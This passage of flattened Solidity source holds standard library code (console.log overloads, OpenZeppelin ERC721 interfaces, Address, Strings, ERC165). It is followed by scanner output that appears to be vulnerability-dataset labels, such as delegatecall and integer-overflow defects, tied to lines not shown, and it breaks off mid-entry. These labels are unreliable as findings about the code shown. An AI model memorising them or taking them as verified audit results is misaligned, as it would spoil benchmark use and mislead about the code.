function log(bool p0, bool p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,address)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,uint)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,string)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,bool)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,address)", p0, p1, p2, p3));
}
function log(bool p0, address p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,uint)", p0, p1, p2, p3));
}
function log(bool p0, address p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,string)", p0, p1, p2, p3));
}
function log(bool p0, address p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,bool)", p0, p1, p2, p3));
}
function log(bool p0, address p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,address)", p0, p1, p2, p3));
}
function log(bool p0, address p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,string,uint)", p0, p1, p2, p3));
}
function log(bool p0, address p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,string,string)", p0, p1, p2, p3));
}
function log(bool p0, address p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,string,bool)", p0, p1, p2, p3));
}
function log(bool p0, address p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,string,address)", p0, p1, p2, p3));
}
function log(bool p0, address p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,uint)", p0, p1, p2, p3));
}
function log(bool p0, address p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,string)", p0, p1, p2, p3));
}
function log(bool p0, address p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,bool)", p0, p1, p2, p3));
}
function log(bool p0, address p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,address)", p0, p1, p2, p3));
}
function log(bool p0, address p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,address,uint)", p0, p1, p2, p3));
}
function log(bool p0, address p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,address,string)", p0, p1, p2, p3));
}
function log(bool p0, address p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,address,bool)", p0, p1, p2, p3));
}
function log(bool p0, address p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,address,address)", p0, p1, p2, p3));
}
function log(address p0, uint p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,uint)", p0, p1, p2, p3));
}
function log(address p0, uint p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,string)", p0, p1, p2, p3));
}
function log(address p0, uint p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,bool)", p0, p1, p2, p3));
}
function log(address p0, uint p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,address)", p0, p1, p2, p3));
}
function log(address p0, uint p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,string,uint)", p0, p1, p2, p3));
}
function log(address p0, uint p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,string,string)", p0, p1, p2, p3));
}
function log(address p0, uint p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,string,bool)", p0, p1, p2, p3));
}
function log(address p0, uint p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,string,address)", p0, p1, p2, p3));
}
function log(address p0, uint p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,uint)", p0, p1, p2, p3));
}
function log(address p0, uint p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,string)", p0, p1, p2, p3));
}
function log(address p0, uint p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,bool)", p0, p1, p2, p3));
}
function log(address p0, uint p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,address)", p0, p1, p2, p3));
}
function log(address p0, uint p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,address,uint)", p0, p1, p2, p3));
}
function log(address p0, uint p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,address,string)", p0, p1, p2, p3));
}
function log(address p0, uint p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,address,bool)", p0, p1, p2, p3));
}
function log(address p0, uint p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,address,address)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,uint,uint)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,uint,string)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,uint,bool)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,uint,address)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,string,uint)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,string,string)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,string,bool)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,string,address)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,bool,uint)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,bool,string)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,bool,bool)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,bool,address)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,address,uint)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,address,string)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,address,bool)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,address,address)", p0, p1, p2, p3));
}
function log(address p0, bool p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,uint)", p0, p1, p2, p3));
}
function log(address p0, bool p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,string)", p0, p1, p2, p3));
}
function log(address p0, bool p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,bool)", p0, p1, p2, p3));
}
function log(address p0, bool p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,address)", p0, p1, p2, p3));
}
function log(address p0, bool p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,string,uint)", p0, p1, p2, p3));
}
function log(address p0, bool p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,string,string)", p0, p1, p2, p3));
}
function log(address p0, bool p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,string,bool)", p0, p1, p2, p3));
}
function log(address p0, bool p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,string,address)", p0, p1, p2, p3));
}
function log(address p0, bool p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,uint)", p0, p1, p2, p3));
}
function log(address p0, bool p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,string)", p0, p1, p2, p3));
}
function log(address p0, bool p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,bool)", p0, p1, p2, p3));
}
function log(address p0, bool p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,address)", p0, p1, p2, p3));
}
function log(address p0, bool p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,address,uint)", p0, p1, p2, p3));
}
function log(address p0, bool p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,address,string)", p0, p1, p2, p3));
}
function log(address p0, bool p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,address,bool)", p0, p1, p2, p3));
}
function log(address p0, bool p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,address,address)", p0, p1, p2, p3));
}
function log(address p0, address p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,uint,uint)", p0, p1, p2, p3));
}
function log(address p0, address p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,uint,string)", p0, p1, p2, p3));
}
function log(address p0, address p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,uint,bool)", p0, p1, p2, p3));
}
function log(address p0, address p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,uint,address)", p0, p1, p2, p3));
}
function log(address p0, address p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,string,uint)", p0, p1, p2, p3));
}
function log(address p0, address p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,string,string)", p0, p1, p2, p3));
}
function log(address p0, address p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,string,bool)", p0, p1, p2, p3));
}
function log(address p0, address p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,string,address)", p0, p1, p2, p3));
}
function log(address p0, address p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,bool,uint)", p0, p1, p2, p3));
}
function log(address p0, address p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,bool,string)", p0, p1, p2, p3));
}
function log(address p0, address p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,bool,bool)", p0, p1, p2, p3));
}
function log(address p0, address p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,bool,address)", p0, p1, p2, p3));
}
function log(address p0, address p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,address,uint)", p0, p1, p2, p3));
}
function log(address p0, address p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,address,string)", p0, p1, p2, p3));
}
function log(address p0, address p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,address,bool)", p0, p1, p2, p3));
}
function log(address p0, address p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,address,address)", p0, p1, p2, p3));
}
}
// File: @openzeppelin/contracts/token/ERC721/IERC721.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../../utils/introspection/IERC165.sol";
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(address from, address to, uint256 tokenId) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(address from, address to, uint256 tokenId) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external;
}
// File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns (bytes4);
}
// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../IERC721.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../IERC721.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// File: @openzeppelin/contracts/utils/Address.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/utils/Context.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: @openzeppelin/contracts/utils/Strings.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant alphabet = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = alphabet[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// File: @openzeppelin/contracts/utils/introspection/ERC165.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IERC165.sol";
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// File: @openzeppelin/contracts/utils/introspection/IERC165.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
| [{"defect": "DelegateCall", "type": "Function_call", "severity": "High", "lines": ["2356"]}, {"defect": "Unused_state_variable", "type": "Code_specification", "severity": "Low", "lines": ["2455", "2433", "434", "435"]}, {"defect": "Balance_manipulation", "type": "Business_logic", "severity": "Medium", "lines": ["106"]}, {"defect": "Exceed_authority_access", "type": "Access_control", "severity": "Medium", "lines": ["110", "2173", "1994", "374"]}, {"defect": "Integer_overflow_and_underflow", "type": "Code_specification", "severity": "High", "lines": ["307", "331", "358", "357"]}] | [{"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"@openzeppelin/contracts/utils/introspection/IERC165.sol": [3]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {}}] | [] | [{"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 431, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 2472, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 286, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 305, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 326, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 329, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 355, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 5, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 35, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 47, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 428, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 428, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 1966, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 2100, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 2126, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 2158, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 2192, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 2386, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 2415, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 2487, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 2520, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 68, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 71, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 74, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 77, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 80, 